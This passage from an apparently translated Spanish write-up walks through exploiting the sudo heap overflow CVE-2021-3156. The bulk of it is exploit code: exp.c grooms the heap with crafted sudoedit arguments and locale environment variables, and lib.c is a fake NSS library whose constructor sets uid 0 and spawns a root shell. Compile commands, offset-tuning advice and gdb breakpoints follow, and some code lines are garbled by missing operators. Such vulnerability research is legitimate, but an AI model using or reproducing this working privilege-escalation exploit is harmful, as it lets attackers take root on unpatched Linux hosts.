Finalmente, la longitud que se puede desbordar a través del parámetro sudoedit es 0x5f9, y la parte restante se puede completar con \\ de las variables de entorno. La variable de entorno solo se copia una vez. Al sobrescribir la estructura, tenga en cuenta que la cadena del nombre de la biblioteca so (so name) se encuentra en el desplazamiento 0x30 de la estructura, y los elementos de la estructura antes de la cadena deben sobrescribirse con \x00. (No entraré en detalles sobre esta parte; construir un payload de longitud de desbordamiento adecuada no tiene mucho valor técnico; aquí proporciono principalmente una forma general de cálculo rápido).
Luego, compile la biblioteca so falsa. Aquí, la función compilada directamente con la macro attribute se ejecutará automáticamente cuando se cargue el archivo binario, es decir, el constructor. El exp es el siguiente:
En mi entorno de depuración, el exp es el siguiente:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>
#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }
void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }
int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;
while ((signed int)(offset-len)<2)
{
x--;
y=size-1-x*2;
len=x+y+(x+y+1)*x/2;
if(x<0)
return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
Astring[i]='A';
Astring[i]='\x00';
argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;
}
int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();
execve("/usr/local/bin/sudoedit",argv,envp);
}
lib.c es como sigue:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
Comando de compilación:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp
Éxito:
image-20220123115529219
### Método para modificar el exploit según el entorno específico
Principalmente para facilitar la investigación y depuración propias, no para ataques reales. Para ataques reales se recomienda la fuerza bruta. Es necesario conocer los siguientes puntos según el entorno:
1. Tamaño controlable de vuln, es decir, el free tcache que queda en setlocale, que no se consumirá antes de la solicitud de vuln. Se necesita encontrar un tamaño adecuado (correspondiente a 0xa0 en mi exploit).
2. Dónde colocar vuln, es decir, cuántos chunks de 0x40 hay antes y después del chunk vuln (correspondientes a varias funciones addChunk en mi función main del exploit).
3. Distancia desde el chunk objetivo hasta el chunk vuln, es decir, target chunk addr - vuln chunk addr (correspondiente a 0x650 en mi exploit).
Modificando los tres puntos anteriores, básicamente es muy probable que se tenga éxito directamente.
## Factores que afectan la explotación de vulnerabilidades
Hay muchos factores que afectan el diseño del montón. Incluso con la misma versión de sudo, diferentes opciones de compilación pueden cambiar el diseño del montón (si se agregan o eliminan funciones que participan en la asignación del montón antes del desbordamiento, es muy probable que cambie el diseño).
El diseño del montón de la versión de distribución y la versión compilada por uno mismo de sudo son diferentes.
También afectan las diferencias en los archivos de configuración global de sudo.
Archivos comunes como passwd también afectan.
El archivo nsswitch.conf diferente afecta.
La versión de glibc.
Otros entornos globales (o archivos de entorno).
## Medidas de mitigación
Actualizar a la última versión.
## Algunos comandos de depuración```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程
Ver la estructura de service_table``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···
Observa la primera función nss llamada después del desbordamiento del montón, primero detén el punto de desbordamiento:```
b policy_check #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library
c #断nss_load_library
bt #查看调用栈
Algunas funciones clave y código de salida``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/
b setlocale b nss_parse_file b nss_load_library
## Referencias
Blog de expertos internos de la empresa
52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html
POC de blasty: https://github.com/blasty/CVE-2021-3156